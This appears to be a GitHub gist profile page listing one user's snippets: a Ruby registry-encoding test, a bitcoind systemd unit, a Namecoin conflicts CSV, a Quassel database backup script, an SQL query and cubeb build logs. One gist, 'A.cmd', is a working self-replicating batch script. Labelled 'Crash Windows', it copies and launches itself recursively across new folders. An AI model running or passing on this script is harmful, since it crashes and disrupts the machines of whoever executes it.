Skip to content

Instantly share code, notes, and snippets.

View davispuh's full-sized avatar

Dāvis davispuh

  • Latvia
View GitHub Profile
@davispuh
davispuh / test3.rb
Last active December 23, 2015 18:29
#!/usr/bin/env ruby
#encoding: utf-8
require 'win32/registry'
begin
Win32::Registry::HKEY_CURRENT_USER.open("Software", Win32::Registry::KEY_ALL_ACCESS) do |reg|
reg['test2'] = 'åáâäãā'
reg['test3åáâäãā'] = 'åáâäãā'
value = reg['test']
puts value.encoding
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software]
"test"="åáâäãā"
"åáâäãā"="åáâäãā"
@davispuh
davispuh / A.cmd
Last active December 27, 2015 22:39
Crash Windows. Tested to work for XP, Vista, Windows 7
@echo off
REM This script is dedicated to Public Domain
FOR %%i in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9) DO (
mkdir %%i
copy %~nx0 %%i
cd %%i
start %~nx0
cd ..
)
del %~nx0
@davispuh
davispuh / bitcoind.service
Created January 6, 2014 14:34
Bitcoin-daemon service file for Systemd
[Unit]
Description=Bitcoin daemon serivce
After=network.target
[Service]
Type=simple
User=bitcoin
ExecStart=/usr/bin/bitcoind
[Install]
@davispuh
davispuh / conflicts.csv
Created February 18, 2014 20:52
Namecoin conflicts when merged in Bitcoin master branch
We can make this file beautiful and searchable if this error is corrected: No commas found in this CSV file in line 0.
File Name;Path;Count
.gitignore;namecoin;2
COPYING;namecoin;2
README.md;namecoin;2
allocators.h;namecoin\src;8
base58.h;namecoin\src;1
bitcoinrpc.cpp;namecoin\src;1
crypter.cpp;namecoin\src;4
crypter.h;namecoin\src;4
db.cpp;namecoin\src;17
@davispuh
davispuh / backup.sh
Created August 17, 2014 18:04
Quassel backup
#!/bin/bash
USER="quassel"
DATABASE="quassel"
NOW=$(date +"%Y-%m-%d")
FILENAME=./db_backup_${DATABASE}_${NOW}.sql.gz
pg_dump -U $USER $DATABASE | gzip -9 > $FILENAME
@davispuh
davispuh / channels.sql
Created August 26, 2014 00:08
Most active channels
SELECT count(messageid) as count, buffername as channel
FROM backlog
LEFT JOIN buffer ON buffer.bufferid = backlog.bufferid
WHERE buffername != ''
GROUP BY buffername ORDER BY count DESC
LIMIT 30;
@davispuh
davispuh / configure
Last active August 29, 2015 14:10
cubeb configure
checking build system type... armv7l-unknown-linux-gnueabihf
checking host system type... armv7l-unknown-linux-gnueabihf
checking target system type... armv7l-unknown-linux-gnueabihf
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /usr/bin/mkdir -p
checking for gawk... gawk
checking whether make sets $(MAKE)... yes
checking whether make supports nested variables... yes
checking whether make supports nested variables... (cached) yes
@davispuh
davispuh / make.log
Created November 22, 2014 08:14
cubeb make
make all-recursive
make[1]: Entering directory '/home/davis/GitHub/cubeb'
Making all in docs
make[2]: Entering directory '/home/davis/GitHub/cubeb/docs'
echo "*** Warning: Doxygen not found; documentation will not be built."
*** Warning: Doxygen not found; documentation will not be built.
touch doxygen-build.stamp
make[2]: Leaving directory '/home/davis/GitHub/cubeb/docs'
make[2]: Entering directory '/home/davis/GitHub/cubeb'
CC src/cubeb.lo
@davispuh
davispuh / makecheck.log
Created November 22, 2014 08:18
cubeb make check
Making check in docs
make[1]: Entering directory '/home/davis/GitHub/cubeb/docs'
make[1]: Nothing to be done for 'check'.
make[1]: Leaving directory '/home/davis/GitHub/cubeb/docs'
make[1]: Entering directory '/home/davis/GitHub/cubeb'
make test/test_sanity test/test_tone test/test_audio test/test_latency
make[2]: Entering directory '/home/davis/GitHub/cubeb'
CXX test/test_sanity.o
CXXLD test/test_sanity
CXX test/test_tone.o